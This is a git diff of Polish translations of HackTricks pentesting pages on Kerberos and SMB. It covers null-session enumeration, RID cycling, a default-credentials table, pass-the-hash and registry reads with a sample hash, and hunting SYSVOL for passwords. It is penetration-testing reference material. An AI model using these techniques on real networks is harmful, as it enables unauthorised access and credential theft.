mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-ssh.md', 'src/ne
This commit is contained in:
parent
7944763a06
commit
391cdf1a76
@ -4,18 +4,55 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Kerberos** działa na zasadzie, w której autoryzuje użytkowników bez bezpośredniego zarządzania ich dostępem do zasobów. To ważne rozróżnienie, ponieważ podkreśla rolę protokołu w ramach bezpieczeństwa.
|
||||
**Kerberos** działa na zasadzie, że uwierzytelnia użytkowników bez bezpośredniego zarządzania ich dostępem do zasobów. To ważne rozróżnienie, ponieważ podkreśla rolę protokołu w ramach bezpieczeństwa.
|
||||
|
||||
W środowiskach takich jak **Active Directory**, **Kerberos** odgrywa kluczową rolę w ustalaniu tożsamości użytkowników poprzez weryfikację ich tajnych haseł. Proces ten zapewnia, że tożsamość każdego użytkownika jest potwierdzana przed interakcją z zasobami sieciowymi. Jednak **Kerberos** nie rozszerza swojej funkcjonalności na ocenę lub egzekwowanie uprawnień, jakie użytkownik ma do konkretnych zasobów lub usług. Zamiast tego zapewnia bezpieczny sposób autoryzacji użytkowników, co jest kluczowym pierwszym krokiem w procesie bezpieczeństwa.
|
||||
W środowiskach takich jak **Active Directory**, **Kerberos** odgrywa kluczową rolę w ustalaniu tożsamości użytkowników poprzez weryfikację ich tajnych haseł. Proces ten zapewnia potwierdzenie tożsamości każdego użytkownika zanim zacznie on korzystać z zasobów sieciowych. Jednak **Kerberos** nie rozszerza swojej funkcjonalności na ocenę ani egzekwowanie uprawnień użytkownika wobec konkretnych zasobów czy usług. Zamiast tego dostarcza bezpieczny sposób uwierzytelniania użytkowników, co jest istotnym pierwszym krokiem w procesie bezpieczeństwa.
|
||||
|
||||
Po autoryzacji przez **Kerberos**, proces podejmowania decyzji dotyczących dostępu do zasobów jest delegowany do poszczególnych usług w sieci. Usługi te są następnie odpowiedzialne za ocenę praw i uprawnień uwierzytelnionego użytkownika, na podstawie informacji dostarczonych przez **Kerberos** o uprawnieniach użytkownika. Taki projekt pozwala na rozdzielenie zadań między autoryzację tożsamości użytkowników a zarządzanie ich prawami dostępu, co umożliwia bardziej elastyczne i bezpieczne podejście do zarządzania zasobami w rozproszonych sieciach.
|
||||
Po uwierzytelnieniu przez **Kerberos**, proces decyzyjny dotyczący dostępu do zasobów jest delegowany do poszczególnych usług w sieci. Usługi te są następnie odpowiedzialne za ocenę praw i uprawnień uwierzytelnionego użytkownika, bazując na informacjach dostarczonych przez **Kerberos** o przyznanych uprawnieniach. Takie rozdzielenie pozwala na oddzielenie kwestii uwierzytelniania tożsamości użytkowników od zarządzania ich prawami dostępu, co umożliwia bardziej elastyczne i bezpieczne zarządzanie zasobami w sieciach rozproszonych.
|
||||
|
||||
**Domyślny port:** 88/tcp/udp
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
88/tcp open kerberos-sec
|
||||
```
|
||||
### **Aby nauczyć się, jak nadużywać Kerberos, powinieneś przeczytać post o** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
|
||||
### **Aby nauczyć się, jak wykorzystywać Kerberos, przeczytaj wpis o** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
|
||||
|
||||
## Środowiska oparte wyłącznie na Kerberos: przygotowanie klienta i rozwiązywanie problemów
|
||||
|
||||
Gdy NTLM jest wyłączony na usługach domenowych (SMB/WinRM/itd.), musisz uwierzytelnić się za pomocą Kerberos. Typowe pułapki i sprawdzony przebieg działań:
|
||||
|
||||
- Synchronizacja czasu jest obowiązkowa. Jeśli zegar hosta jest przesunięty o więcej niż kilka minut, zobaczysz `KRB_AP_ERR_SKEW` i wszystkie uwierzytelnienia Kerberos nie powiodą się. Synchronizuj z DC:
|
||||
```bash
|
||||
# quick one-shot sync (requires sudo)
|
||||
sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst'
|
||||
```
|
||||
- Wygeneruj poprawny krb5.conf dla docelowego realm/domeny. `netexec` (CME fork) może wygenerować go dla Ciebie podczas testowania SMB:
|
||||
```bash
|
||||
# Generate krb5.conf and install it
|
||||
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
|
||||
sudo cp krb5.conf /etc/krb5.conf
|
||||
```
|
||||
- Uzyskaj TGT i zweryfikuj ccache:
|
||||
```bash
|
||||
kinit <user>
|
||||
klist
|
||||
```
|
||||
- Użyj Kerberos z narzędziami SMB (no passwords sent, używa twojego ccache):
|
||||
```bash
|
||||
# netexec / CME
|
||||
netexec smb <dc.fqdn> -k # lists shares, runs modules using Kerberos
|
||||
# impacket examples also support -k / --no-pass to use the ccache
|
||||
smbclient --kerberos //<dc.fqdn>/IPC$
|
||||
```
|
||||
- GSSAPI SSH logowanie jednokrotne (OpenSSH do Windows OpenSSH server):
|
||||
```bash
|
||||
# Ensure krb5.conf is correct and you have a TGT (kinit)
|
||||
# Use the FQDN that matches the host SPN. Wrong names cause: "Server not found in Kerberos database"
|
||||
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
|
||||
```
|
||||
Tips:
|
||||
- Upewnij się, że Twój `/etc/hosts` rozwiązuje dokładny FQDN, do którego będziesz się łączyć przez SSH/SMB, oraz że znajduje się on przed jakimikolwiek gołymi wpisami domenowymi, jeśli nadpisujesz DNS. Niedopasowania SPN powodują awarie GSSAPI.
|
||||
- Jeśli NTLM jest wyłączony na SMB, możesz zobaczyć `STATUS_NOT_SUPPORTED` przy próbach NTLM; dodaj `-k`, aby wymusić Kerberos.
|
||||
|
||||
## Więcej
|
||||
|
||||
@ -25,16 +62,23 @@ PORT STATE SERVICE
|
||||
|
||||
### MS14-068
|
||||
|
||||
Wada MS14-068 pozwala atakującemu na manipulację tokenem logowania Kerberos legalnego użytkownika, aby fałszywie twierdzić o podwyższonych uprawnieniach, takich jak bycie administratorem domeny. To fałszywe roszczenie jest błędnie weryfikowane przez kontroler domeny, co umożliwia nieautoryzowany dostęp do zasobów sieciowych w całym lesie Active Directory.
|
||||
Luka MS14-068 pozwala atakującemu na manipulację tokenem logowania Kerberos prawowitego użytkownika, aby fałszywie rościć sobie podwyższone uprawnienia, takie jak Domain Admin. To podrobione roszczenie jest błędnie zatwierdzane przez Domain Controller, umożliwiając nieautoryzowany dostęp do zasobów sieciowych w całym lesie Active Directory.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://adsecurity.org/?p=541
|
||||
{{#endref}}
|
||||
|
||||
Inne exploity: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
|
||||
Other exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
|
||||
|
||||
## HackTricks Automatyczne Komendy
|
||||
## Źródła
|
||||
|
||||
- [NetExec (CME) wiki – Kerberos and krb5.conf generation](https://www.netexec.wiki/)
|
||||
- [OpenSSH GSSAPIAuthentication](https://man.openbsd.org/ssh_config#GSSAPIAuthentication)
|
||||
- [MIT Kerberos – Using Kerberos on UNIX](https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_config.html)
|
||||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||
|
||||
## Automatyczne polecenia HackTricks
|
||||
```
|
||||
Protocol_Name: Kerberos #Protocol Abbreviation if there is one.
|
||||
Port_Number: 88 #Comma separated if there is more than one.
|
||||
|
@ -4,44 +4,43 @@
|
||||
|
||||
## **Port 139**
|
||||
|
||||
_**System podstawowego wejścia/wyjścia sieci**_** (NetBIOS)** to protokół programowy zaprojektowany, aby umożliwić aplikacjom, komputerom PC i stacjom roboczym w sieci lokalnej (LAN) komunikację ze sprzętem sieciowym oraz **ułatwić przesyłanie danych w sieci**. Identyfikacja i lokalizacja aplikacji działających w sieci NetBIOS odbywa się za pomocą ich nazw NetBIOS, które mogą mieć do 16 znaków i często różnią się od nazwy komputera. Sesja NetBIOS między dwoma aplikacjami jest inicjowana, gdy jedna aplikacja (działająca jako klient) wydaje polecenie "wywołania" innej aplikacji (działającej jako serwer) wykorzystując **TCP Port 139**.
|
||||
_**Network Basic Input Output System**_** (NetBIOS)** jest protokołem programowym zaprojektowanym, aby umożliwić aplikacjom, komputerom PC i desktopom w sieci lokalnej (LAN) interakcję ze sprzętem sieciowym oraz **ułatwiać przesyłanie danych w sieci**. Identyfikacja i lokalizacja aplikacji działających w sieci NetBIOS odbywa się za pomocą ich nazw NetBIOS, które mogą mieć do 16 znaków i często różnią się od nazwy komputera. Sesja NetBIOS pomiędzy dwiema aplikacjami jest inicjowana, gdy jedna aplikacja (działająca jako klient) wysyła polecenie "call" do innej aplikacji (działającej jako serwer) wykorzystując **TCP Port 139**.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
## Port 445
|
||||
|
||||
Technicznie Port 139 jest określany jako ‘NBT over IP’, natomiast Port 445 jest identyfikowany jako ‘SMB over IP’. Akronim **SMB** oznacza ‘**Server Message Blocks**’, które współcześnie jest również znane jako **Common Internet File System (CIFS)**. Jako protokół sieciowy warstwy aplikacji, SMB/CIFS jest wykorzystywany głównie do udostępniania plików, drukarek, portów szeregowych oraz do realizowania różnych form komunikacji między węzłami w sieci.
|
||||
Technicznie, port 139 jest określany jako ‘NBT over IP’, podczas gdy port 445 identyfikowany jest jako ‘SMB over IP’. Akronim **SMB** oznacza ‘**Server Message Blocks**’, które współcześnie znane jest również jako **Common Internet File System (CIFS)**. Jako protokół sieciowy warstwy aplikacji, SMB/CIFS jest głównie wykorzystywany do udostępniania plików, drukarek, portów szeregowych oraz ułatwiania różnych form komunikacji między węzłami w sieci.
|
||||
|
||||
Na przykład, w kontekście Windows podkreśla się, że SMB może działać bezpośrednio przez TCP/IP, eliminując konieczność użycia NetBIOS over TCP/IP, dzięki wykorzystaniu portu 445. Natomiast na innych systemach użycie portu 139 wskazuje, że SMB jest uruchamiany w połączeniu z NetBIOS over TCP/IP.
|
||||
Na przykład, w kontekście Windows, podkreśla się, że SMB może działać bezpośrednio nad TCP/IP, eliminując konieczność stosowania NetBIOS over TCP/IP dzięki wykorzystaniu portu 445. Z kolei na innych systemach obserwuje się użycie portu 139, co wskazuje, że SMB jest uruchamiany w połączeniu z NetBIOS over TCP/IP.
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
Protokół **Server Message Block (SMB)**, działający w modelu **klient-serwer**, służy do regulowania **dostępu do plików**, katalogów oraz innych zasobów sieciowych, takich jak drukarki i routery. Używany głównie w rodzinie systemów operacyjnych **Windows**, SMB zapewnia kompatybilność wsteczną, pozwalając urządzeniom z nowszymi wersjami systemu Microsoft na bezproblemową interakcję z urządzeniami działającymi na starszych wersjach. Dodatkowo projekt **Samba** oferuje wolne oprogramowanie umożliwiające implementację SMB na systemach **Linux** i Unix, ułatwiając w ten sposób komunikację międzyplatformową przez SMB.
|
||||
Protokół **Server Message Block (SMB)**, działający w modelu **client-server**, jest zaprojektowany do regulowania **dostępu do plików**, katalogów oraz innych zasobów sieciowych, takich jak drukarki i routery. Głównie wykorzystywany w systemach operacyjnych **Windows**, SMB zapewnia kompatybilność wsteczną, umożliwiając urządzeniom z nowszymi wersjami systemu Microsoft płynną współpracę z tymi uruchamiającymi starsze wersje. Dodatkowo projekt **Samba** oferuje darmowe oprogramowanie, pozwalające na implementację SMB na systemach **Linux** i Unix, co ułatwia komunikację międzyplatformową przez SMB.
|
||||
|
||||
Udostępnienia (shares), reprezentujące **dowolne części lokalnego systemu plików**, mogą być udostępnione przez serwer SMB, dzięki czemu widok hierarchii dla klienta jest częściowo **niezależny** od rzeczywistej struktury serwera. **Access Control Lists (ACLs)**, które definiują **prawa dostępu**, pozwalają na **precyzyjną kontrolę** uprawnień użytkowników, włączając atrybuty takie jak **`execute`**, **`read`** i **`full access`**. Uprawnienia te mogą być przypisywane do poszczególnych użytkowników lub grup w zależności od udostępnień i są odrębne od lokalnych uprawnień ustawionych na serwerze.
|
||||
Udostępnienia, reprezentujące **dowolne części lokalnego systemu plików**, mogą być świadczone przez serwer SMB, przez co hierarchia widoczna dla klienta jest częściowo **niezależna** od rzeczywistej struktury serwera. **Access Control Lists (ACLs)**, które definiują **prawa dostępu**, pozwalają na **precyzyjną kontrolę** uprawnień użytkowników, w tym atrybuty takie jak **`execute`**, **`read`** i **`full access`**. Uprawnienia te mogą być przypisane poszczególnym użytkownikom lub grupom, w zależności od udostępnień, i są oddzielne od lokalnych uprawnień ustawionych na serwerze.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
Dostęp do udostępnienia IPC$ można uzyskać poprzez anonimową null session, co pozwala na interakcję z usługami wystawionymi przez named pipes. Narzędzie `enum4linux` jest przydatne do tego celu. Prawidłowo użyte umożliwia uzyskanie:
|
||||
Dostęp do IPC$ share można uzyskać poprzez anonimową null session, co pozwala na interakcję z usługami udostępnionymi przez named pipes. Narzędzie `enum4linux` jest przydatne do tego celu. Odpowiednio użyte, umożliwia pozyskanie:
|
||||
|
||||
- Informacje o systemie operacyjnym
|
||||
- Szczegóły dotyczące domeny nadrzędnej
|
||||
- Lista lokalnych użytkowników i grup
|
||||
- Informacje o dostępnych udostępnieniach SMB
|
||||
- Obowiązującej polityki bezpieczeństwa systemu
|
||||
- Informacji o systemie operacyjnym
|
||||
- Szczegółów dotyczących domeny nadrzędnej
|
||||
- Listy lokalnych użytkowników i grup
|
||||
- Informacji o dostępnych udostępnieniach SMB
|
||||
- Efektywnej polityki bezpieczeństwa systemu
|
||||
|
||||
Funkcjonalność ta jest kluczowa dla administratorów sieci i specjalistów ds. bezpieczeństwa do oceny stanu zabezpieczeń usług SMB (Server Message Block) w sieci. `enum4linux` dostarcza kompleksowego obrazu środowiska SMB systemu docelowego, co jest niezbędne do identyfikacji potencjalnych luk oraz zapewnienia, że usługi SMB są odpowiednio zabezpieczone.
|
||||
Ta funkcjonalność jest kluczowa dla administratorów sieci i specjalistów ds. bezpieczeństwa przy ocenie stanu zabezpieczeń usług SMB (Server Message Block) w sieci. `enum4linux` dostarcza kompleksowego obrazu środowiska SMB docelowego systemu, co jest niezbędne do identyfikacji potencjalnych podatności i zapewnienia, że usługi SMB są właściwie zabezpieczone.
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
The above command is an example of how `enum4linux` might be used to perform a full enumeration against a target specified by `target_ip`.
|
||||
Powyższe polecenie jest przykładem, jak można użyć `enum4linux` do przeprowadzenia pełnej enumeracji przeciwko celowi określonemu przez `target_ip`.
|
||||
|
||||
## Czym jest NTLM
|
||||
|
||||
Jeśli nie wiesz, czym jest NTLM lub chcesz poznać jego działanie i sposoby nadużyć, bardzo ciekawa będzie ta strona o **NTLM**, na której wyjaśniono **jak działa ten protokół i jak można go wykorzystać:**
|
||||
## Co to jest NTLM
|
||||
|
||||
Jeśli nie wiesz, czym jest NTLM lub chcesz poznać jego działanie i sposoby nadużycia, bardzo przydatna będzie ta strona o **NTLM**, na której wyjaśniono **jak działa ten protokół i jak można to wykorzystać:**
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/
|
||||
@ -49,16 +48,16 @@ Jeśli nie wiesz, czym jest NTLM lub chcesz poznać jego działanie i sposoby na
|
||||
|
||||
## **Enumeracja serwerów**
|
||||
|
||||
### **Skanowanie** sieci w poszukiwaniu hostów:
|
||||
### **Scan** sieć w poszukiwaniu hostów:
|
||||
```bash
|
||||
nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
### Wersja serwera SMB
|
||||
|
||||
Aby szukać potencjalnych exploitów dla wersji SMB, ważne jest, aby znać używaną wersję. Jeśli ta informacja nie pojawia się w innych używanych narzędziach, możesz:
|
||||
Aby szukać możliwych exploits dla wersji SMB, ważne jest, aby znać, która wersja jest używana. Jeśli ta informacja nie pojawia się w innych używanych narzędziach, możesz:
|
||||
|
||||
- Użyj pomocniczego modułu **MSF** `**auxiliary/scanner/smb/smb_version**`
|
||||
- Lub ten skrypt:
|
||||
- Użyj **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
|
||||
- Albo ten skrypt:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
#Author: rewardone
|
||||
@ -80,17 +79,17 @@ echo "" && sleep .1
|
||||
msf> search type:exploit platform:windows target:2008 smb
|
||||
searchsploit microsoft smb
|
||||
```
|
||||
### **Możliwe** dane uwierzytelniające
|
||||
### **Możliwe** Credentials
|
||||
|
||||
| **Nazwa użytkownika(ów)** | **Typowe hasła** |
|
||||
| ------------------------- | ---------------------------------------- |
|
||||
| _(puste)_ | _(puste)_ |
|
||||
| guest | _(puste)_ |
|
||||
| Administrator, admin | _(puste)_, password, administrator, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| test, lab, demo | password, test, lab, demo |
|
||||
| **Username(s)** | **Common passwords** |
|
||||
| -------------------- | ----------------------------------------- |
|
||||
| _(blank)_ | _(blank)_ |
|
||||
| guest | _(blank)_ |
|
||||
| Administrator, admin | _(blank)_, password, administrator, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| test, lab, demo | password, test, lab, demo |
|
||||
|
||||
### Brute Force
|
||||
|
||||
@ -98,7 +97,7 @@ searchsploit microsoft smb
|
||||
|
||||
### Informacje o środowisku SMB
|
||||
|
||||
### Zdobywanie informacji
|
||||
### Uzyskaj informacje
|
||||
```bash
|
||||
#Dump interesting information
|
||||
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
|
||||
@ -120,9 +119,9 @@ rpcclient -U "username%passwd" <IP> #With creds
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
```
|
||||
### Wylicz użytkowników, grupy i zalogowanych użytkowników
|
||||
### Enumeracja użytkowników, grup i zalogowanych użytkowników
|
||||
|
||||
Te informacje powinny już być zebrane przez enum4linux i enum4linux-ng
|
||||
Te informacje powinny być już zebrane przez enum4linux i enum4linux-ng.
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||
@ -134,17 +133,17 @@ rpcclient -U "" -N 10.10.10.10
|
||||
enumdomusers
|
||||
enumdomgroups
|
||||
```
|
||||
### Wyliczanie lokalnych użytkowników
|
||||
### Wymień lokalnych użytkowników
|
||||
|
||||
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
|
||||
```bash
|
||||
lookupsid.py -no-pass hostname.local
|
||||
```
|
||||
Oneliner
|
||||
Jednolinijkowy
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
### Metasploit - Enumeracja lokalnych użytkowników
|
||||
### Metasploit - Enumerate local users
|
||||
```bash
|
||||
use auxiliary/scanner/smb/smb_lookupsid
|
||||
set rhosts hostname.local
|
||||
@ -157,13 +156,13 @@ run
|
||||
rpcclient-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
### Połączenie GUI z linux
|
||||
### Połączenie GUI z Linuxem
|
||||
|
||||
#### W terminalu:
|
||||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### W oknie menedżera plików (nautilus, thunar, itp)
|
||||
#### W oknie przeglądarki plików (nautilus, thunar, itd.)
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
@ -171,7 +170,7 @@ rpcclient-enumeration.md
|
||||
|
||||
### Lista udostępnionych folderów
|
||||
|
||||
Zaleca się zawsze sprawdzić, czy możesz uzyskać dostęp do czegokolwiek; jeśli nie masz poświadczeń, spróbuj użyć **null** **credentials/guest user**.
|
||||
Zawsze warto sprawdzić, czy możesz uzyskać dostęp do czegokolwiek; jeśli nie masz poświadczeń, spróbuj użyć **null** **credentials/guest user**.
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
@ -185,7 +184,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||
```
|
||||
### **Połącz/Wyświetl udostępniony folder**
|
||||
### **Połącz/Listuj folder udostępniony**
|
||||
```bash
|
||||
#Connect using smbclient
|
||||
smbclient --no-pass //<IP>/<Folder>
|
||||
@ -197,11 +196,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
|
||||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
```
|
||||
### **Ręczne enumerowanie udziałów Windows i łączenie się z nimi**
|
||||
### **Ręczne wyliczanie share windows i łączenie się z nimi**
|
||||
|
||||
Może się zdarzyć, że masz ograniczenia w wyświetlaniu udziałów hosta i gdy próbujesz je wypisać, wygląda jakby nie było żadnych udziałów do połączenia. Warto więc spróbować krótko ręcznie połączyć się z udziałem. Aby ręcznie enumerować udziały, warto zwrócić uwagę na odpowiedzi takie jak NT_STATUS_ACCESS_DENIED oraz NT_STATUS_BAD_NETWORK_NAME przy użyciu prawidłowej sesji (np. null session lub prawidłowe poświadczenia). Mogą one wskazywać, czy udział istnieje, ale nie masz do niego dostępu, albo udział w ogóle nie istnieje.
|
||||
Może się zdarzyć, że masz ograniczenia w wyświetlaniu jakichkolwiek share na hoście i gdy próbujesz je wypisać, wygląda to, jakby nie było żadnych share do połączenia. Warto więc krótko spróbować ręcznie połączyć się z share. Aby ręcznie wyliczyć share, warto zwrócić uwagę na odpowiedzi takie jak NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME przy użyciu prawidłowej sesji (np. null session lub prawidłowe poświadczenia). Mogą one wskazywać, czy share istnieje i nie masz do niego dostępu, albo że share w ogóle nie istnieje.
|
||||
|
||||
Typowe nazwy udziałów dla celów Windows to
|
||||
Typowe nazwy share dla celów windows to
|
||||
|
||||
- C$
|
||||
- D$
|
||||
@ -212,14 +211,14 @@ Typowe nazwy udziałów dla celów Windows to
|
||||
- SYSVOL
|
||||
- NETLOGON
|
||||
|
||||
(Typowe nazwy udziałów z _**Network Security Assessment 3rd edition**_)
|
||||
(Typowe nazwy share z _**Network Security Assessment 3rd edition**_)
|
||||
|
||||
Możesz spróbować połączyć się z nimi używając następującego polecenia
|
||||
Możesz spróbować połączyć się z nimi za pomocą następującego polecenia
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
```
|
||||
lub ten script (używając null session)
|
||||
lub ten script (korzystając z null session)
|
||||
```bash
|
||||
#/bin/bash
|
||||
|
||||
@ -238,10 +237,10 @@ done
|
||||
```
|
||||
przykłady
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
### **Wyliczanie udziałów w Windows bez użycia narzędzi firm trzecich**
|
||||
### **Wypisz udziały w Windows / bez narzędzi firm trzecich**
|
||||
|
||||
PowerShell
|
||||
```bash
|
||||
@ -253,7 +252,7 @@ get-smbshare -CimSession "<computer name or session object>"
|
||||
# Retrieves the connections established from the local SMB client to the SMB servers.
|
||||
Get-SmbConnection
|
||||
```
|
||||
Konsola CMD
|
||||
konsola CMD
|
||||
```shell
|
||||
# List shares on the local computer
|
||||
net share
|
||||
@ -276,7 +275,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **Pobieranie plików**
|
||||
|
||||
Przeczytaj wcześniejsze sekcje, aby dowiedzieć się, jak połączyć się za pomocą credentials/Pass-the-Hash.
|
||||
Przeczytaj poprzednie sekcje, aby dowiedzieć się, jak połączyć się za pomocą credentials/Pass-the-Hash.
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
@ -294,13 +293,13 @@ smbclient //<IP>/<share>
|
||||
Polecenia:
|
||||
|
||||
- mask: określa maskę używaną do filtrowania plików w katalogu (np. "" dla wszystkich plików)
|
||||
- recurse: przełącza rekursję (domyślnie: wyłączona)
|
||||
- prompt: wyłącza żądanie podawania nazw plików (domyślnie: włączone)
|
||||
- recurse: przełącza rekurencję (domyślnie: off)
|
||||
- prompt: przełącza wyświetlanie monitów o nazwy plików (domyślnie: on)
|
||||
- mget: kopiuje wszystkie pliki pasujące do maski z hosta na maszynę klienta
|
||||
|
||||
(_Informacja z manpage programu smbclient_)
|
||||
(_Informacje z manpage smbclient_)
|
||||
|
||||
### Wyszukiwanie udostępnionych folderów domenowych
|
||||
### Wyszukiwanie współdzielonych folderów w domenie
|
||||
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
|
||||
```bash
|
||||
@ -312,15 +311,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Szczególnie interesujące w share'ach są pliki o nazwie **`Registry.xml`**, ponieważ **mogą zawierać passwords** dla użytkowników skonfigurowanych z **autologon** za pomocą Group Policy. Pliki **`web.config`** również mogą zawierać credentials.
|
||||
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
|
||||
|
||||
> [!TIP]
|
||||
> **SYSVOL share** jest **czytelny** dla wszystkich uwierzytelnionych użytkowników w domenie. Tam możesz **znaleźć** wiele różnych batch, VBScript i PowerShell **skryptów**.\
|
||||
> Powinieneś **sprawdzić** **skrypty** w nim, ponieważ możesz **znaleźć** wrażliwe informacje, takie jak **passwords**.
|
||||
> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
|
||||
> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
|
||||
|
||||
## Odczyt rejestru
|
||||
## Read Registry
|
||||
|
||||
Możesz być w stanie **odczytać rejestr** używając znalezionych poświadczeń. Impacket **`reg.py`** pozwala spróbować:
|
||||
Możesz być w stanie **odczytać rejestr** używając odkrytych poświadczeń. Impacket **`reg.py`** pozwala ci spróbować:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
@ -328,35 +327,49 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
|
||||
```
|
||||
## Post Exploitation
|
||||
|
||||
Domyślna konfiguracja serwera **Samba** zwykle znajduje się w `/etc/samba/smb.conf` i może zawierać kilka **niebezpiecznych ustawień**:
|
||||
Domyślna konfiguracja serwera **Samba** zwykle znajduje się w `/etc/samba/smb.conf` i może zawierać niektóre **niebezpieczne ustawienia**:
|
||||
|
||||
| **Ustawienie** | **Opis** |
|
||||
| -------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | Pozwala na wyświetlenie listy dostępnych udziałów? |
|
||||
| `read only = no` | Zabrania tworzenia i modyfikacji plików? |
|
||||
| `writable = yes` | Pozwala użytkownikom tworzyć i modyfikować pliki? |
|
||||
| `guest ok = yes` | Pozwala na połączenie z serwisem bez użycia hasła? |
|
||||
| `enable privileges = yes` | Respektować uprawnienia przypisane do konkretnego SID? |
|
||||
| `create mask = 0777` | Jakie uprawnienia mają być przypisane nowo utworzonym plikom? |
|
||||
| `directory mask = 0777` | Jakie uprawnienia mają być przypisane nowo utworzonym katalogom? |
|
||||
| `logon script = script.sh` | Jaki skrypt ma być uruchomiony przy logowaniu użytkownika? |
|
||||
| `magic script = script.sh` | Jaki skrypt powinien być uruchomiony, gdy skrypt zostanie zamknięty?|
|
||||
| `magic output = script.out`| Gdzie należy zapisać wyjście magicznego skryptu? |
|
||||
